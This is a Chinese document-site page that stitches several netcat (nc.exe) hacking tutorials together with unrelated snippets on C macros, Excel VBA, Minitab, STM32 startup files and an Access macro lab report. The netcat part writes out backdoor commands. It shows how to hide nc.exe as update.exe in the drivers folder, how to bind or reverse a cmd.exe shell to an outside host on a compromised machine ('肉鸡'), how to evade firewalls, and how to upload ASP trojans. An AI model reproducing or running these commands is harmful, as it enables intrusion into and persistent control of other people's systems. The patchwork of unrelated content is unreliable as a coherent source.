当前位置:文档之家› nc的使用实例

nc的使用实例

nc的使用实例
nc的使用实例

nc的使用实例

NC.exe为一款经典的监听工具

nc的使用实例

c:\nc.exe -l -p 4455 -d -e cmd.exe 可以很好的隐藏一个NetCat后门。

c:\nc.exe -p 4455 -d -L -e cmd.exe 这个命令可以让黑客利用NetCat重新返回系统,直到系统管理员在任务管理器中看见nc.exe在运行,从而发现这个后门,我们一样可以把它做的更加隐蔽,

c:\move nc.exe c:\windows\system32\Drivers\update.exe

c:\windows\systeme32\drivers\update.exe -p 4455 -d -L -e cmd.exe

系统管理员可能把特权附属于一些无害的程序,如update.exe等,黑客也可以隐藏命令行。

c:\windows\systme32\drivers\update.exe

cmd line: -l -p 4455 -d -L -e cmd.exe

c:\>

nc -l - p 80 监听80端口

nc -l -p 80 >c:\log.dat 监听80端口,并把信息记录到log.dat中

nc -v -l -p 80 监听80端口,并显示端口信息

nc -vv -l -p 80 监听80端口,显示更详细的端口信息

nc -l -p 80 -t -e cmd.exe监听本地的80端口的入站信息,同时将cmd.exe重定向到80端口,当有人连接的时候,就让cmd.exe以telnet的形式应答。当然这个最好用在控制的肉鸡上。

nc -v ip port 扫瞄某IP的某个端口

nc -v -z ip port-port扫描某IP的端口到某端口

nc -v -z -u ip port-port扫描某IP的某UDP端口到某UDP端口

NC详细用法2009-02-18 16:36-h 查看帮助信息

-d 后台模式

-e prog程序重定向,一但连接就执行[危险]

-i secs延时的间隔

-l 监听模式,用于入站连接

-L 监听模式,连接天闭后仍然继续监听,直到CTR+C

-n IP地址,不能用域名

-o film记录16进制的传输

-p [空格]端口本地端口号

-r 随机本地及远程端口

-t 使用Telnet交互方式

-u UDP模式

-v 详细输出,用-vv将更详细

-w 数字timeout延时间隔

-z 将输入,输出关掉(用于扫锚时)

先讲讲一些简单的用法:

nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口

nc -l -p 80 开启本机的TCP 80端口并监听

nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口

高级用法:

nc -L -p 3389 做蜜罐,不停地监听3389端口

nc -L -p 3389>c:\log.txt 做蜜罐,不停地监听3389端口,同时把结果输出到c:\log.txt

nc -L -p 3389

nc -l -p 2008 -t -e cmd.exe 绑定主机的cmd到2008端口,并以TELNET方式应答。

nc -t -e cmd.exe 192.168.0.2 555 绑定cmd反向连接192.168.0.2的555端口以TELNET方式应答。

组合用法:

1.溢出用:

nc -L -p 8989

效果:一但溢出的主机连接8989端口就会自动用FTP下载指定的文件,如木马.(此法经常用于批量溢出)

2.返回CMD SHELL用:

正向连接:

在远程主机上运行nc -l -p 2008 -t -e cmd.exe

本机运行nc -nvv 192.168.0.1 2008

连接成功就会返回一个CMD shell。(类似TELNET)

反向连接:

先在本机运行nc -l -p 2008

在远程主机上运行nc -t -e cmd.exe 192.168.0.2 2008

连接成功就会得到一个CMD shell。(类似TELNET)

3.上传文本

本机运行nc -vv https://www.doczj.com/doc/a72115552.html, 80<1.txt (此法经常用于上传ASP木马)

本机运行nc -nvv 192.168.0.1 80<1.txt (向192.168.0.1发送1.txt中的内容)

命令1:监听命令

nc -l -p port

nc -l -p port > e:/log.dat

nc -l -v -p port

参数解释:

-l:监听端口,监听入站信息

-p:后跟本地端口号

-v:显示端口的信息,如果使用-vv的话,则会显示端口更详细的信息

提示:一般大家都爱用-vv

nc -l -p 80

这个很简单,监听80端口

如果机器上运行这个命令,端口80被认为是开放的,可以欺骗很多扫描器的哦!

nc -l -p 80 > e:/log.dat

呵呵,功能和上边一样,但是后边加了个“> e:/log.dat”我想,学过ECHO

那个命令的人都会知道吧,是在E盘创建一个log.dat的日志文件

nc -l -v -p 80

和上边命令相似,不过这次不是记录在文件里,而是会直接显示在运行着NC

的屏幕上。

nc -l -v -p 80

然后在浏览器中输入本机IP:127.0.0.1

同样,上边两个也是一样,大家自己试验一下吧

命令2:程序定向

nc -l -p port -t -e cmd.exe

本地机:nc -l -p port 或nc -l -v -p port

目标机:nc -e cmd.exe ip port

参数解释:

-l、-p两个参数已经解释过了

-e;作用就是程序定向

-t:以telnet的形式来应答

例子

nc -l -p 5277 -t -e cmd.exe

知道运行在哪里吗?千万不要运行在自己的机器上,如果运行了,你机器

就会变成一台TELNET的服务器了,呵呵,解释一下:监听本地端口5277的

入站信息,同时将CMD.exe这个程序,重定向到端口5277上,当有人连接的时候,就让程序CMD.exe以

TELNET的形式来响应连接要求。

说白了,其实就是让他成为一台TELNET的肉鸡,所以这个命令要运行在你的肉鸡上。。呵呵,咱们来找台肉鸡试试,我TELNET IP 5277

(本地主机)local machine:nc -l -p port ( or nc -l -v -p port )

(远程主机)remote machine:nc -e cmd.exe ip port

大家知道灰鸽子和神偷吧,这两款工具都是利用了反弹端口型的木马,

什么叫反弹端口?就是说,当对方中马后,不用你主动和对方连接,也就是说

不用从你的client端向对方主机上运行的server端发送请求连接,而是对方主动来连接你这样就可以使很多防火墙失效,因为很多防火墙都不检查出站请求的。

这里这两个命令结合在一起后,于那两款木马可以说有异曲同工之效。

nc -l -p 5277 (监听本地5277端口)

同样也可以用

nc -l -v -p 5277

运行在本地

然后在远程机器上,想办法运行

nc -e cmd.exe ip 5277

呵,看看在本地机器上出现了什么?

这样就是反弹~~在本地机器上得到了一个SHELL

命令3:扫描端口

nc -v ip port

nc -v -z ip port-port

nc -v -z -u ip port-port

参数解释:

-z:将输入输出关掉,在扫描时使用

nc -v ip port

这个命令是针对某一个端口进行扫描

例如:

nc -v ip 135

扫描远程主机的135端口,这样获得了该端口的一些简单信息,但是针对某些端口,我们还可以获得更多

的信息

例如:80端口

我们可以使用nc -v ip 80 然后使用get方法来获得对方的WEB服务器的信息

nc -v -z ip port-port

这个命令是用来扫描的一个命令,这个命令用于快速扫描TCP端口,而port-port则是指定了扫描的端口范

例如:

nc -v -z ip 1-200

可以看到我机器上的1-200的TCP端口的开放情况

nc -v -z -u ip port-port

这个命令比上个命令多了个-u,这个命令的作用仍然是扫描端口,只是多了一个-u的参数,是用来扫UDP

端口的

例如:

nc -v -z -u ip 1-200

这个命令就会扫1-200的UDP端口

命令4:传送文件(HOHO,I LIKE)

(本地主机)LOCAL MACHINE:nc -v -n ip port < e:/hack/pulist.exe

(远程主机)REMOTE MACHINE:nc -v -l -p port > c:/pulist.exe

参数解释:

-n:指定数字的IP地址

这两个命令结合起来是用来传送文件的

首先,在远程机上运行命令:

nc -v -l -p 5277 > c:/pulist.exe

这个命令还记的吗?呵呵,是不是和监听命令有点类似,对,没错,这个是监听5277端口并把接受到的信息数据写到c:/pulist.exe中

这时候在本地机上运行

nc -v -n ip 5277 < e:/hack/pulist.exe

这个命令的意思就是,从本地E盘跟目录中读取pulist.exe文件的内容,并把这些数据发送到ip的5277端

口上这样远程主机就会自动创建一个pulist.exe文件

NC的用法|NC教程2009-05-16 10:42nc.exe大家也非常熟悉了吧!~之所以叫瑞士军刀,因为它的功能太多,太强大了!~

(注:nc是一个在命令提示下用的,并是那种很人性话的图形界面软件!~)

它的功能太强大了,我现在只能给大家介绍几种用法!~

(1)格式:nc -nvv 192.168.x.x 80

讲解:连到192.168.x.x的TCP80端口

(2)格式:nc -l -p 80

讲解:监听本机的TCP80端口

(3)格式:nc -nvv -w2 -z 192.168.x.x 80-445

讲解:扫描192.168.x.x的TCP80到TCP445的所有端口

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 在网络工具中有“瑞士军刀”美誉的NetCat,在我们用了N年了至今仍是爱不释手。因为它短小精悍(这个用在它身上很适合,现在有人已经将其修改成大约10K左右,而且功能不减少)。现在就我的一些使用心得和一些帮助文档中,做一些介绍与大家共勉。

1、了解NC的用法

命令:nc –h

技巧:win98用户可以在autoexec.bat加入path=nc的路径,win2000用户在环境变量中加入path中,linux含有这个命令(redhat)

1、基本使用

想要连接到某处: nc [-options] hostname port[s] [ports] ...

绑定端口等待连接: nc -l -p port [-options] [hostname] [port]

参数:

-e prog 程序重定向,一旦连接,就执行[危险!!]

-g gateway source-routing hop point[s], up to 8

-G num source-routing pointer: 4, 8, 12, ...

-h 帮助信息

-i secs 延时的间隔

-l 监听模式,用于入站连接

-n 指定数字的IP地址,不能用hostname

-o file 记录16进制的传输

-p port 本地端口号

-r 任意指定本地及远程端口

-s addr 本地源地址

-u UDP模式

-v 详细输出——用两个-v可得到更详细的内容

-w secs timeout的时间

-z 将输入输出关掉——用于扫描时

其中端口号可以指定一个或者用lo-hi式的指定范围。

例如:扫描端口

tcp扫描

C:\nc>nc -v -z -w2 192.168.0.80 1-140

net [192.168.0.80] 140 (?)

net [192.168.0.80] 139 (netbios-ssn) open

net [192.168.0.80] 138 (?)

net [192.168.0.80] 137 (netbios-ns)

net [192.168.0.80] 136 (?)

net [192.168.0.80] 135 (epmap) open

net [192.168.0.80] 81 (?) open

net [192.168.0.80] 80 (http) open

net [192.168.0.80] 79 (finger)

net [192.168.0.80] 25 (smtp) open

net [192.168.0.80] 24 (?)

net [192.168.0.80] 23 (telnet)

net [192.168.0.80] 21 (ftp)

udp扫描

C:\nc>nc -u -v -z -w2 192.168.0.80 1-140

net [192.168.0.80] 140 (?) open

net [192.168.0.80] 139 (?) open

net [192.168.0.80] 138 (netbios-dgm) open

net [192.168.0.80] 137 (netbios-ns) open

net [192.168.0.80] 54 (?) open

net [192.168.0.80] 53 (domain) open

net [192.168.0.80] 38 (?) open

net [192.168.0.80] 37 (time) open

net [192.168.0.80] 7 (echo) open

nc(黑客界的瑞士军刀)的用法2008年09月11日星期四16:432007-12-16 20:52讲四个命令

命令1:监听命令

nc -l -p port

nc -l -p port > e:\log.dat

nc -l -v -p port

参数解释:

-l:监听端口,监听入站信息

-p:后跟本地端口号

-v:显示端口的信息,如果使用-vv的话,则会显示端口更详细的信息

提示:一般大家都爱用-vv

nc -l -p 80

这个很简单,监听80端口

如果机器上运行这个命令,端口80被认为是开放的,可以欺骗很多扫描器的哦!

nc -l -p 80 > e:\log.dat

呵呵,功能和上边一样,但是后边加了个“> e:\log.dat”我想,学过ECHO

那个命令的人都会知道吧,是在E盘创建一个log.dat的日志文件

nc -l -v -p 80

和上边命令相似,不过这次不是记录在文件里,而是会直接显示在运行着NC

的屏幕上。

呵呵,讲了这么多,来实践下

nc -l -v -p 80

然后在浏览器中输入本机IP:127.0.0.1

呵呵,看到什么?

同样,上边两个也是一样,大家自己试验一下吧

命令2:程序定向

nc -l -p port -t -e cmd.exe

本地机:nc -l -p port 或nc -l -v -p port

目标机:nc -e cmd.exe ip port

参数解释:

-l、-p两个参数已经解释过了

-e;作用就是程序定向

-t:以telnet的形式来应答

例子

nc -l -p 5277 -t -e cmd.exe

知道运行在哪里吗?千万不要运行在自己的机器上,如果运行了,你机器

就会变成一台TELNET的服务器了,呵呵,解释一下:监听本地端口5277的

入站信息,同时将CMD.exe这个程序,重定向到端口5277上,当有人连接的时候,就让程序CMD.exe以TELNET的形式来响应连接要求。

说白了,其实就是让他成为一台TELNET的肉鸡,所以这个命令要运行在你的肉鸡上。。(话外音:说这么多遍当我们白痴啊,快往下讲!!!)

呵呵,咱们来找台肉鸡试试,我TELNET IP 5277

HOHO~~如何?

local machine:nc -l -p port ( or nc -l -v -p port )

remote machine:nc -e cmd.exe ip port

大家知道灰鸽子和神偷吧,这两款工具都是利用了反弹端口型的木马,

什么叫反弹端口?就是说,当对方中马后,不用你主动和对方连接,也就是说

不用从你的client端向对方主机上运行的server端发送请求连接,而是对方主动来连接你这样就可以使很多防火墙失效,因为很多防火墙都不检查出站请求的。

这里这两个命令结合在一起后,于那两款木马可以说有异曲同工之效。为什么?

咳!!听我给你讲啊!!(先交100000000RMB学费)哇,别杀我啊!!)

nc -l -p 5277 (坚听本地5277端口)

同样也可以用

nc -l -v -p 5277

运行在本地

然后在远程机器上,想办法运行

nc -e cmd.exe ip 5277

(你可别真的打“ip”在肉机上啊)要打,xxx.xxx.xxx.xxx这样!!

呵呵,看看在本地机器上出现了什么?

这样就是反弹~~在本地机器上得到了一个SHELL

命令3:扫描端口

nc -v ip port

nc -v -z ip port-port

nc -v -z -u ip port-port

参数解释:

-z:将输入输出关掉,在扫描时使用

nc -v ip port

这个命令是针对某一个端口进行扫描

例如:

nc -v ip 135

扫描远程主机的135端口,这样获得了该端口的一些简单信息,但是针对某些端口,我们还可以获得更多的信息

例如:80端口

我们可以使用nc -v ip 80 然后使用get方法来获得对方的WEB服务器的信息

nc -v -z ip port-port

这个命令是用来扫描的一个命令,这个命令用于快速扫描TCP端口,而port-port则是指定了扫描的端口范围

例如:

nc -v -z ip 1-200

可以看到我机器上的1-200的TCP端口的开放情况

nc -v -z -u ip port-port

这个命令比上个命令多了个-u,这个命令的作用仍然是扫描端口,只是多了一个-u的参数,是用来扫UDP端口的

例如:

nc -v -z -u ip 1-200

这个命令就会扫1-200的UDP端口

命令4:传送文件(HOHO,I LIKE)

LOCAL MACHINE:nc -v -n ip port < x:\svr.exe

REMOTE MACHINE:nc -v -l -p port > y:\svr.exe

参数解释:

-n:指定数字的IP地址

这两个命令结合起来是用来传送文件的

首先,在远程机上运行命令:

nc -v -l -p 5277 > c:\pulist.exe

这个命令还记的吗?呵呵,是不是和监听命令有点类似,对,没错,这个是监听5277端口

并把接受到的信息数据写到c:\pulist.exe中

这时候在本地机上运行

nc -v -n ip 5277 < e:\hack\pulist.exe

这个命令的意思就是,从本地E盘跟目录中读取pulist.exe文件的内容,并把这些数据发送到ip的5277端口上

这样远程主机就会自动创建一个pulist.exe文件。。呵呵,你想到了吗??

上边是NC的比较常用的方法,希望通过这些,大家能发挥自己的想象力,创造出更多更精彩的命令来,

因为NC的用法不仅仅局限于这几种而已哦!!对NC来说,只有想不到,没有做不到的!!!

宏的使用方法

在这里总结宏的使用方法欢迎补充 1 条件include 如下 CODE #ifndef MAIN_H_ #define MAIN_H_ 其它内容 #endif 上面在看到头文件时会看到作用就是阻止这个头文件被多次include 多次include就会出现重复的定义情况所以需要在每个头文件中都使用这个定义 如果还不是很了解要怎样使用可以看看c的标准头文件如fcntl.h 2 条件编译 如下 CODE #ifdef _DEBUG printf("this debug info\n"); #endif 如果没有定义_DEBUG宏的话那么上面那一行是不会编译进去的 但是定义了_DEBUG后上面那行就会编译进去可以写个简单的程序测试 CODE #include int main() { #ifdef _DEBUG printf("hello world\n"); #else printf("no debug"); #endif return 0; } 第一次使用gcc -D_DEBUG main.c 第二次使用gcc main.c 运行两次的结果看 3 定义为某个值以便后面修改这个值时不用修改其它地方代码只要修改这个宏的定义就可以了

如一个软件的多语言版本等 如下 CODE #include #define PRINT_STR "你好DD" main(){ printf(PRINT_STR); return 0; } 编译时会把PRINT_STR代替成"你好DD" 以后想修改时就方便了 另外也可以定义为函数 #include #ifdef _DEBUG #define A(x) a(x) #else #define A(x) b(x) #endif int a(int x) { return x+1; } int b(int x){ return x+100; } int main(){ printf ("A(10) value is %d",A(10)); return 0; } [/code] 其实也可以定义成 #define A a 的 但是定义成A(x)后只有A后面带一个(x)类型的编译器才会执行替换比较安全可以保证只替换函数而不替换变量 第四个 可变参数宏

Execl宏程序总结讲解

宏 Sub Macro1() ' ' Macro1 Macro ' 宏由 lenovo 录制,时间: 2012/9/19 ' ' 快捷键: Ctrl+z ' k = 1 '循环变量 Do While k <= Worksheets.Count '工作表数量 Sheets(k).Select '逐个设置工作为当前工作表 Rem ====确定真正的最后一行 Rem ====先用定位的方法找到工作表中的最后一个单元格 Selection.SpecialCells(xlCellTypeLastCell).Select flag = False Rem ====向上循环判断是否是空行 Do While flag = False Rem ====如果是第一行,退出循环,否则后面的Offset语句向上移动时会出错 If ActiveCell.Row = 1 Then Exit Do End If Rem ====判断当前行是不是空行 Selection.End(xlToLeft).Select temp1 = IsEmpty(ActiveCell.Value) Selection.End(xlToRight).Select temp2 = IsEmpty(ActiveCell.Value) If temp1 = True And temp2 = True Then Rem ====如果是空行则选择上一行 Selection.Offset(-1, 0).Select Else Rem====如果不是空行,说明已经是真正的最后一行,退出循环 flag = True Exit Do End If Loop Rem====把最后一行的行号赋给一个变量

Excel宏和控件无法使用的解决方法

关于Excel宏和控件无法使用的解决方法. 有的时候,我们在打开含有宏或ActiveX控件的Excel文件时,无法正常使用宏和控件,总是出现如下的一些提示: 找不到指定的模块;内存溢出;宏被禁用;等等。或者,控件根本无法点击响应。 可以试试如下方法: 一、开启宏,降低宏安全等级,但对系统有潜在威胁。见“一、开启宏方法”。 二、如果还不行,则可能是Fm20.dll注册损坏引起的,可以重新注册。见“手动 注册Fm20.dll”。 一、开启宏方法: 1、Excel2003版本中操作步骤: (1)在Excel的菜单栏上依次单击“工具”——“宏”——“安全性”,打开下图所示的“安全性”对话框。 (2)在“安全级”选项卡中将宏的安全级别设置为“中”或“低”。其中推荐使用“中”级,这样的设置并不会降低您的安全性,您仍然对任意一个宏文件都拥有主动选择是否运行的权力。 在宏的安全性级别设置成功后,再次打开Excel程序文件时,会出现下图所示信息框,此时点击“启用宏”按钮即可使本程序正常运行:

2、Excel2007版本中操作步骤: (1)依次单击Excel的Office按钮(2010版本为“文件”按钮)——“Excel选项”,打开下图所示的“Excel选项”选项卡,在左侧列表中选择“信任中心”,在右侧出现的窗口中点击“信任中心设置”按钮。 (2)打开“信任中心”选项卡,在左侧选择“宏设置”,在右侧出现的窗口中选择“禁用所有宏,并发出通知”选项,单击确定完成。 在宏的安全性级别设置成功后,再次打开Excel程序文件时,在信息栏会出现下图所示的警告信息,此时点击其中的“选项”按钮打开Office安全选项对话框,在其中选择“启用此内容”选项并确定即可使本程序正常运行。

宏定义用法总结

C语言宏定义技巧用法总结 写好C语言,漂亮的宏定义很重要,使用宏定义可以防止出错,提高可移植性,可读性,方便性等等。下面列举一些成熟软件中常用得宏定义。。。。。。 1,防止一个头文件被重复包含 #ifndef COMDEF_H #define COMDEF_H //头文件内容 #endif 2,重新定义一些类型,防止由于各种平台和编译器的不同,而产生的类型字节数差异,方便移植。 typedef unsigned char boolean; /* Boolean value type. */ typedef unsigned long int uint32; /* Unsigned 32 bit value */ typedef unsigned short uint16; /* Unsigned 16 bit value */ typedef unsigned char uint8; /* Unsigned 8 bit value */ typedef signed long int int32; /* Signed 32 bit value */ typedef signed short int16; /* Signed 16 bit value */ typedef signed char int8; /* Signed 8 bit value */

//下面的不建议使用 typedef unsigned char byte; /* Unsigned 8 bit value type. */ typedef unsigned short word; /* Unsinged 16 bit value type. */ typedef unsigned long dword; /* Unsigned 32 bit value type. */ typedef unsigned char uint1; /* Unsigned 8 bit value type. */ typedef unsigned short uint2; /* Unsigned 16 bit value type. */ typedef unsigned long uint4; /* Unsigned 32 bit value type. */ typedef signed char int1; /* Signed 8 bit value type. */ typedef signed short int2; /* Signed 16 bit value type. */ typedef long int int4; /* Signed 32 bit value type. */ typedef signed long sint31; /* Signed 32 bit value */ typedef signed short sint15; /* Signed 16 bit value */ typedef signed char sint7; /* Signed 8 bit value */ 3,得到指定地址上的一个字节或字 #define MEM_B( x ) ( *( (byte *) (x) ) ) #define MEM_W( x ) ( *( (word *) (x) ) )

使用Minitab宏(Marcro)的方法

注册登录加为收藏 设为首页 6SQ邮局 6SQ首页|文章资讯|品质论坛|质量家园|质量百科|品质人才|会员相册|工具条|培训咨询|软件销售 分栏模式淘宝网店论坛搜索6SQ统计插件签到台(送金币)帮助窄屏风格宽屏风格六西格玛品质论坛?品质软件?请教如何MINITAB中运行宏文件?6SQ制造业绿带认证班培训品质管理工具应用专业培训精益生产培训3~10天六西格玛/精益项目咨询培训 6SQ常见问题解答[必读]6SQ统计插件2.0下载hot!广告合作业务联系用支付宝快速充6SQ币 上海专业制作工装夹具治具检具6SQ官方QQ群信息一次交费,终身使用,vip会员Minitab应用培训3~5天 返回列表回复发帖 发新话题发布投票发布悬赏发布辩论发布活动发布视频发布商品victor2008 发短消息 加为好友 victor2008 (变革在我) 质量疯子 UID169830 帖子7397 精华1 积分6079 6SQ币60594 热心656 阅读权限100 来自广东注册时间2007-5-12 最后登录2010-4-14 昵称: 变革在我 黑带高级 6SQ币60594 热心656 发短消息 加为好友 个人空间 1# 打印字体大小: tT 发表于2007-10-26 16:25 | 只看该作者 请教如何MINITAB中运行宏文件? 本文来自:6sigma品质网https://www.doczj.com/doc/a72115552.html, 作者:victor2008 点击1771次原文:https://www.doczj.com/doc/a72115552.html,/viewthread.php?tid=159669 各位大师: 如何在MINITAB中运行宏文件啊,具体的操作步骤是怎样的啊,请指教啊! 收藏分享评分天行健,君子当自强不息! 加入铁杆会员,一次交费,终身使用,无阅读下载限制,详情查看 回复引用订阅TOP wit 发短消息 加为好友 wit UID24546 帖子1287 精华0 积分1268 6SQ币12675 热心43 阅读权限100 注册时间2004-7-12 最后登录2010-3-19 黑带初级 6SQ币12675 热心43 发短消息 加为好友 个人空间 2# 发表于2007-10-26 16:36 | 只看该作者从来没有用过。我也希望学习一下。 有人提供帮助吗? 6SQ统计插件for Excel 2.0下载 回复引用TOP

STM32启动文件的选择及宏定义及芯片型号更改IAP总结(精)

STM32启动文件的选择及宏定义及芯片型号更改 IAP总结 startup_stm32f10x_cl.s 互联型的器件,STM32F105xx,STM32F107xx startup_stm32f10x_hd.s 大容量的STM32F101xx,STM32F102xx,STM32F103xx startup_stm32f10x_hd_vl.s 大容量的STM32F100xx startup_stm32f10x_ld.s 小容量的STM32F101xx,STM32F102xx,STM32F103xx startup_stm32f10x_ld_vl.s 小容量的STM32F100xx startup_stm32f10x_md.s 中容量的STM32F101xx,STM32F102xx,STM32F103xx startup_stm32f10x_md_vl.s 中容量的STM32F100xx startup_stm32f10x_xl.s FLASH在512K到1024K字节的STM32F101xx, STM32F102xx,STM32F103xx cl:互联型产品,stm32f105/107系列 vl:超值型产品,stm32f100系列 xl:超高密度产品,stm32f101/103系列 ld:低密度产品,FLASH小于64K md:中等密度产品,FLASH=64 or 128 hd:高密度产品,FLASH大于128 在KEIL下可以在项目的选项C/C++/PREPROMCESSOR symbols的Define栏里定义,比如STM32F10X_CL 也可以在STM32F10X.H里用宏定义 #if !defined (STM32F10X_LD && !defined (STM32F10X_LD_VL && !defined (STM32F10X_MD && !defined (STM32F10X_MD_VL && !defined (STM32F10X_HD && !defined (STM32F10X_XL && !defined (STM32F10X_CL #define STM32F10X_HD #endif

C宏定义

C/C++中宏使用总结 .C/C++中宏总结C程序的源代码中可包括各种编译指令,这些指令称为预处理命令。虽然它们实际上不是C语言的一部分,但却扩展了C程 序设计的环境。本节将介绍如何应用预处理程序和注释简化程序开发过程,并提高程序的可读性。ANSI标准定义的C语言预处理程序包括下列命令: #define,#error,#i nclude,#if,#else,#elif,#endif,#ifdef,#ifndef,#undef,#line,#pragma等。非常明显,所有预处理命令均以符号#开头,下面分别加以介绍。 1、#define 命令#define定义了一个标识符及一个串。在源程序中每次遇到该标识符时,均以定义的串代换它。ANSI标准将标识符定义为宏名,将替换过程称为宏 替换。命令的一般形式为: #define identifier string 注意: ? 该语句没有分号。在标识符和串之间可以有任意个空格,串一旦开始,仅由一新行结束。 ? 宏名定义后,即可成为其它宏名定义中的一部分。 ? 宏替换仅仅是以文本串代替宏标识符,前提是宏标识符必须独立的识别出来,否则不进行替换。例如:#define XYZ this is a test,使用宏printf("XYZ");//该段不打印"this is a test"而打印"XYZ"。因为预编译器识 别出的是"XYZ" ? 如果串长于一行,可以在该行末尾用一反斜杠' \'续行。

2、#error 处理器命令#error强迫编译程序停止编译,主要用于程序调试。 3、#i nclude 命令#i nclude使编译程序将另一源文件嵌入带有#i nclude的源文件,被读入的源文件必须用双引号或尖括号括起来。例如: #i nclude"stdio.h"或者#i nclude 这两行代码均使用C编译程序读入并编译用于处理磁盘文件库的子程序。 将文件嵌入#i nclude命令中的文件内是可行的,这种方式称为嵌套的嵌入文件,嵌套层次依赖于具体实现。 如果显式路径名为文件标识符的一部分,则仅在哪些子目录中搜索被嵌入文件。否则,如果文件名用双引号括起来,则首先检索当前工作目录。如果未发现文件, 则在命令行中说明的所有目录中搜索。如果仍未发现文件,则搜索实现时定义的标准目录。 如果没有显式路径名且文件名被尖括号括起来,则首先在编译命令行中的目录内检索。 如果文件没找到,则检索标准目录,不检索当前工作目录。 4、条件编译命令 有几个命令可对程序源代码的各部分有选择地进行编译,该过程称为条件编译。商业软件公司广泛应用条件编译来提供和维护某一程序的许多顾客版本。 #if、#else,#elif及#endif

宏业软件地使用方法

宏业软件的使用方法 软件常见问题解答 1、清单定额地区人工费如何调整? 答:①在[综合单价计算模板]界面模板内定义好地区人工费调整费率;②切换到[清单/计价表],选择定义模板计算并应用于计价表所有定额数据对象。注意:地区人工费调整不能直接在[清单/计价表]中对定额进行整体系数换算处理,这样将对调整系数作为措施项目及规费取费基础。 2、做定额预结算时,工程造价让利如何处理? 答:①单位工程[费用汇总表]中,在“工程造价”行后添加工程造价优惠行,计算公式则为原“工程造价”行“费用编号*费率”,再在“费率”列录入让利费率值自动计算出结果;②将添加的工程造价优惠行标记为工程造价行(利用标记当前行为工程造价行功能)。 3、定额预结算方式按实费用如何计算? 答:在[费用汇总表]中已有的按实计算费用行下添加其费用子目,再编辑其费用名称、计算公式;若需打印出计算式,则需要再在最后“[打印]计算公式”列输入详细计算表达式。 4、派生费用计算有几种方式,分部派生费在定额计价方式与清单计价方式各如何应用? 答:派生费用对不同数据对象计算分定措(在定额上计算派生费用)、项措(在清单项目上计算派生费用)及措1…(在段落结构上计算派生费用);定额计价方式下计算的派生费用直接汇总表“费用汇总表”相应数据中,清单计价方式下:定措、项措均直接汇入相应项目费用中,措1…一般是调用到措施项目清单中。 5、在[清单/计价表]中进行定额人工费换算处理与在[综合单价计算模板]设置费率处理的区别 答:前者直接进入到定额人工费中,适用于定额上规定的系数换算处理;后者不汇入定额人工费中,适用于地区人工费调整,并不作为措施项目及规费的取费基础。 6、定额计价方式做预结算时,怎样整体调整分部工程量?

Excel宏的用法详解

宏的用法详解 1.1 VBA是什么 直到90年代早期,使应用程序自动化还是充满挑战性的领域.对每个需要自动化的应用程序,人们不得不学习一种不同的自动化语言.例如:可以用excel的宏语言来使excel自动化,使用word BASIC使word自动化,等等.微软决定让它开发出来的应用程序共享一种通用的自动化语言--------Visual Basic For Application(VBA),可以认为VBA是非常流行的应用程序开发语言V ASUAL BASIC 的子集.实际上VBA是"寄生于"VB应用程序的版本.VBA和VB的区别包括如下几个方面: 1. VB是设计用于创建标准的应用程序,而VBA是使已有的应用程序(excel等)自动化 2. VB具有自己的开发环境,而VBA必须寄生于已有的应用程序. 3. 要运行VB开发的应用程序,用户不必安装VB,因为VB开发出的应用程序是可执行文件(*.EXE),而VBA开发的程序必须依赖于它的"父"应用程序,例如excel. 尽管存在这些不同,VBA和VB在结构上仍然十分相似.事实上,如果你已经了解了VB,会发现学习VBA非常快.相应的,学完VBA会给学习VB打下坚实的基础.而且,当学会在excel中用VBA创建解决方案后,即已具备在word access OUTLOOK FOXPRO PROWERPOINT 中用VBA创建解决方案的大部分知识. * VBA一个关键特征是你所学的知识在微软的一些产品中可以相互转化. * VBA可以称作excel的“遥控器”. VBA究竟是什么?更确切地讲,它是一种自动化语言,它可以使常用的程序自动化,可以创建自定义的解决方案. 此外,如果你愿意,还可以将excel用做开发平台实现应用程序. 1.2 excel环境中基于应用程序自动化的优点 也许你想知道VBA可以干什么?使用VBA可以实现的功能包括: 1. 使重复的任务自动化. 2. 自定义excel工具栏,菜单和界面. 3. 简化模板的使用. 4. 自定义excel,使其成为开发平台. 5. 创建报表. 6. 对数据进行复杂的操作和分析. 用excel作为开发平台有如下原因: 1. excel本身功能强大,包括打印,文件处理,格式化和文本编辑. 2. excel内置大量函数. 3. excel界面熟悉. 4. 可连接到多种数据库. 用其他语言开发应用程序,一半的工作是编写一些基本功能的模块,包括文件的打开和保

宏的实验报告

实验报告 课程名称数据库技术与应用 实验项目名称宏的实验 班级与班级代码11审计学1班 实验室名称(或课室) SS1-304 专业审计学 任课教师方清华 学号:11251003148 姓名:郑萍玲 实验日期:2013 年 5 月26日 广东商学院教务处制

姓名郑萍玲实验报告成绩 评语: 指导教师(签名) 年月日说明:指导教师评分后,实验报告交院(系)办公室保存

实验4 在“教务管理”数据库中建立宏 1.实验目的 1)掌握宏的结构、类型 2)掌握各种创建宏的方法 3)掌握选择宏的创建方法与功能 2.实验条件 1.微型计算机。 2.Access 2003。 3.实验内容、操作步骤及结果 3.1建立条件宏 1)建立“教师录入成绩起始窗” 操作步骤如下: 选择“窗体”对象,点击“在设计视图中创建窗体”,在主体中利用相关控件做出窗体,将文本框命名为“密码”,查看结果。 实验结果截图如下: 2)要求密码输入时以“*”显示。 操作步骤如下: 点击文本框属性,在“输入掩码”栏选择“密码”。 实验结果截图如下:

3)建立一个名为“成绩录入条件宏”的宏对象,要求在密码框中输入密码(设密码为111)正确时,打开“成绩录入”窗体。 操作步骤如下: 选择“宏”对象,点击“新建”,输入如下表达式,密码框中输入密码(设密码为111)正确时,打开“成绩录入”窗体,密码框中输入密码错误时作出警告。返回到“窗体”对象,点击“教师录入成绩起始窗”,将文本框属性的“更新后”设置为“成绩录入条件宏”。 实验结果截图如下:

3.2用条件宏判断用户名及密码 1)建立“用户名”文本框的名称为“Text1”,“密码”文本框的名称为“Text3”的“用户名窗”。要求:当输入用户名“ABC”(大写)及密码“123”正确时,单击“确定”按钮,可以打开“成绩录入”窗体,录入学生成绩。当用户名和密码输入不正确,单击“确定”按钮时,弹出“非法用户”警告消息框并关闭本窗体。 操作步骤如下: 首先建立“成绩起始窗”。再建一个“用户条件宏”。如下图所示,得出条件宏。 实验结果截图如下:

宏的录制和使用

